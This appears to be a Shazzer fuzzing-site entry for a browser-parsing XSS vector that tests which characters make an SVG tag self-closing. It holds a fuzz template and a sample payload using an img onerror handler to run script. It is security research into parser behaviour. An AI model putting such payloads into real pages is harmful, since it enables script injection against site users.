Characters cause self closing tag

This vector uses SVG to determine which characters cause a self closing tag.

Shazzer Master

Created Jul 23, 2025

Updated Feb 4, 2026

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CategoryCSS Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<svg $[chr]><style><!--</style><img src onerror=log($[i])>

Sample payloads

<svg /><style><!--</style><img src onerror=alert(47)>